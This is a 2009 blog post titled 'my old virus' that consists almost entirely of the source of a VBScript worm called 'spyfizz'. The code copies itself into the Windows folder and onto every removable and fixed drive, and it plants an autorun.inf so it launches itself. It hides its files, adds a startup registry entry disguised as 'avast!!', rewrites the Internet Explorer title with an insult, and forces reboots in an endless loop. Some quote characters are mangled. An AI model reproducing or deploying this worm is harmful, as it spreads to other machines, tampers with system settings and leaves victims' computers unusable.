Sunday, February 22, 2009

my old virus

dim natan
masuk()
sub masuk()
set natan = wscript.CreateObject("wscript.shell")
msgbox "selamat datang di spyfizz",vbInformation,"selamat datang"
msgbox "mo bka bokep y??",vbInformation,"kcian"
msgbox"jangan panik donk!!!", 0+0+48, "panik nieh!!!"
end sub

on error resume next
Rem 121206, i very hate u
Dim src, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sd:atr = "[autorun]"&vbcrlf&”shellexecute=wscript.exe spyfizz.vbs":Set fs = CreateObject("Scripting.FileSystemObject"): Set mf = fs.getfile(Wscript.ScriptFullname): Dim text, size: size = mf.size: check = mf.drive.drivetype: Set text = mf.openastextstream(1, -2)
Do While Not text.atendofstream: src=src&text.readline: src = src & vbCrLf: Loop
Do: Set winpath = fs.getspecialfolder(0): Set tf = fs.getfile(winpath & "\spyfizz.vbs"): tf.Attributes = 32: Set tf = fs.createtextfile(winpath & "\spyfizz.vbs", 2, True): tf.write src: tf.Close: Set tf = fs.getfile(winpath & "\spyfizz.vbs"): tf.Attributes = 39
For Each flashdrive In fs.drives
If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path <> "A:" Then:
Set tf = fs.getfile(flashdrive.Path & "\spyfizz.vbs"): tf.Attributes = 32: Set tf = fs.createtextfile(flashdrive.Path & "\spyfizz.vbs", 2, True): tf.write src: tf.Close: Set tf = fs.getfile(flashdrive.Path & "\spyfizz.vbs"): tf.Attributes = 39: Set tf = fs.getfile(flashdrive.Path & "\autorun.inf"): tf.Attributes = 32: Set tf = fs.createtextfile(flashdrive.Path & "\autorun.inf", 2, True): tf.write atr: tf.Close: Set tf = fs.getfile(flashdrive.Path & "\autorun.inf"): tf.Attributes = 39:
if fs.fileexists(Wscript.ScriptFullname) = false then
Set tf = fs.createtextfile(wscript.scriptfullname): tf.write src
End If
Next
Set rg = CreateObject("WScript.Shell"): rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\avast!!",winpath & "\spyfizz.vbs": rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "spyfizz says_fuck USA, israel, & Rusia": rg.regwrite "HKCR\vbsfile\DefaultIcon", "shell32.dll,2?
natan.run "shutdown -r -t 5 -c good_bye_computer!!"
loop

0 comments:

Post a Comment